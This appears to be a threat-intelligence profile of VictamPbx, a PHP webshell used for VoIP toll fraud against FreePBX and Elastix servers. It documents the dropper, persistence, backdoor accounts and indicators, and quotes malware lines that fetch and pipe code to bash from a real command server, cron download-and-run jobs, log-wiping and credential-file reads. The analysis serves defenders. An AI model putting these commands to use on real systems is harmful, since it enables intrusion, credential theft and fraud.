Loading malware…
VictamPbx is a PHP webshell used in financially motivated VoIP toll-fraud operations targeting internet-exposed FreePBX and Elastix systems, with reporting also tying the broader activity to vulnerable Issabel and Sangoma environments. It is deployed by a Bash dropper commonly named k.php, disguised with a .php extension, which installs the webshell to numerous PBX web-accessible paths, creates missing directories as needed, timestomps files to match legitimate FreePBX timestamps, and may install a malicious .htaccess file to preserve access. The malware has been observed exploiting the FreePBX restapps REST API for initial remote code execution on unpatched systems.
VictamPbx is obfuscated with layered base64 encoding and randomized comment tokens. It authenticates operators using hardcoded MD5 password hashes and consistently uses the PHP session variable $_SESSION['looki']. Its functionality includes arbitrary command execution; theft of Elastix administrator credentials from the local SQLite acl.db database; FreePBX admin session hijacking by loading FreePBX configuration and invoking administrative objects; reading PBX and Asterisk configuration files such as /etc/elastix.conf, /etc/amportal.conf, /etc/freepbx.conf, and /etc/asterisk/freepbx.conf; and a one-click interface to originate outbound calls through the victim PBX using Asterisk channel originate commands. Default dialing values observed were country prefix 00 and dial context asterisk-outcalls, consistent with International Revenue Share Fraud (IRSF).
Associated payloads and later stages establish persistence through frequent cron jobs that repeatedly fetch k.php and secondary payloads from 45.234.176.202, and have also been observed dropping /var/www/html/admin/modules/freepbx_ha/license.php as a downloader. Additional behaviors reported in the latest variants include reconnaissance, Apache log tampering to remove restapps references, disabling the FreePBX endpoint module, creation of FreePBX and OS-level backdoor accounts including uid 0 accounts, planting SSH authorized keys, enabling root SSH login, and boot/login-triggered re-execution of the dropper.
A notable March 2026 variant included a full Stage 2 payload that systematically removed implants, accounts, cron jobs, and webshells associated with competing threat actors before installing its own persistence. Reported rival targets included Juba VoIP, Nahda, Badr/b3d0r, nvd0rz, tchTowr, and yokyok. The campaign has been linked in reporting to infrastructure centered on 45.234.176.202, 45.234.176.67, and 45.234.176.204 in AS267369 (MAFREDINE TELECOMUNICACOES EIRELI) in Salvador, Bahia, Brazil, and to branding including VictamPbx, emoadmin, emo, and Raza Telefonia. Reported operator OPSEC leaks included embedded HTML comments exposing IP addresses 85.195.233.39, 85.199.233.39, 172.56.33.182, and 162.205.106.30.
2 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Each deploys a PHP webshell called VictamPbx for VoIP toll fraud. ... the latest variant contains a full Stage 2 payload that, before installing its own backdoors, systematically hunts and removes the implants of at least seven competing threat actors.
Each deploys a PHP webshell called VictamPbx for VoIP toll fraud. ... the latest variant contains a full Stage 2 payload that, before installing its own backdoors, systematically hunts and removes the implants of at least seven competing threat actors.
22 distinct techniques documented for this family, organized by ATT&CK tactic.
The FreePBX bypass loads the FreePBX configuration file... instantiates an ampuser object with the database admin credentials, calls setAdmin() to grant full privileges, and redirects to the FreePBX admin panel.
MITRE ATT&CK Mapping Tactic Technique ID Implementation Initial Access Exploit Public-Facing Application T1190 FreePBX/Elastix web interface exploitation
Two cron jobs re-fetch and execute the dropper every minute: */1 * * * * wget http://45.234.176.202/new/k.php -O /var/lib/asterisk/bin/zen2; bash /var/lib/asterisk/bin/zen2
Stage 0: k.php -- The Dropper Despite the .php extension, this is a Bash script... curl -s http://45.234.176.202/new/c | bash
Beneath the obfuscation... the VictamPbx webshell is a purpose-built VoIP administration backdoor.
Two cron jobs re-fetch and execute the dropper every minute: */1 * * * * wget http://45.234.176.202/new/k.php -O /var/lib/asterisk/bin/zen2; bash /var/lib/asterisk/bin/zen2
The FreePBX bypass loads the FreePBX configuration file... instantiates an ampuser object with the database admin credentials, calls setAdmin() to grant full privileges, and redirects to the FreePBX admin panel.
An RSA public key is planted in ~/.ssh/authorized_keys for all user home directories... The key comment is "Sangoma"
Backdoor Accounts... Root-level OS accounts (uid=0, gid=0): Username Password Hash Notes centos ... admin ... support ... issabel ... sangoma ... emo ... newfpbx
Phase one decodes the primary webshell and copies it to at least twelve filesystem locations...
Two cron jobs re-fetch and execute the dropper every minute: */1 * * * * wget http://45.234.176.202/new/k.php -O /var/lib/asterisk/bin/zen2; bash /var/lib/asterisk/bin/zen2
The FreePBX bypass loads the FreePBX configuration file... instantiates an ampuser object with the database admin credentials, calls setAdmin() to grant full privileges, and redirects to the FreePBX admin panel.
An RSA public key is planted in ~/.ssh/authorized_keys for all user home directories... The key comment is "Sangoma"
Beneath the obfuscation -- triple-layered base64 encoding interleaved with randomized PHP comment tokens to break signature detection
The extension is deliberate -- it blends into FreePBX web directories full of legitimate PHP files... The key comment is "Sangoma"... centos , admin , support , issabel , and sangoma are all names a sysadmin might overlook
MITRE ATT&CK Mapping... Defense Evasion Indicator Removal: File Deletion T1070.004 Self-deleting stage scripts from /tmp
After deployment, the dropper runs touch ajax.php -r footer.php to clone the modification timestamp from a legitimate FreePBX file onto the webshell.
The FreePBX bypass loads the FreePBX configuration file... instantiates an ampuser object with the database admin credentials, calls setAdmin() to grant full privileges, and redirects to the FreePBX admin panel.
After cleaning house, VictamPbx takes a defensive step: it disables the FreePBX endpoint manager module entirely. chmod 000 /var/www/html/admin/modules/endpoint / fwconsole ma uninstall endpoint
Before exiting, license.php runs sed -i '/restapps/d' /var/log/httpd/* to strip every Apache log line containing "restapps" from the access logs.
cat /etc/elastix.conf -- Elastix credentials ... cat /etc/amportal.conf -- FreePBX database credentials
The Elastix bypass queries the local SQLite database directly: SELECT name, md5_password, extension FROM acl_user WHERE id = '1'
This script performs basic reconnaissance ( cat /etc/passwd , ls -ls /home )
This script performs basic reconnaissance ( cat /etc/passwd , ls -ls /home )
All four samples phone home to the same C2 server at 45.234.176.202... The initial cron job fetches a fresh copy of k.php from the C2 every three minutes
Dropped to /var/www/html/admin/modules/freepbx_ha/license.php , this script fetches and executes Stage 2 from the C2: curl -s http://45.234.176.202/new/c | bash / wget -qO- http://45.234.176.202/new/c | bash
Asterisk call origination -- a CALL button that executes asterisk -rx "channel originate Local/00<number>@asterisk-outcalls" to route fraudulent calls through the victim's trunks
The webshell includes a CALL form that constructs and executes an Asterisk CLI command... The victim's PBX places the call. The victim pays the bill. This is International Revenue Share Fraud.
72 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
2 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.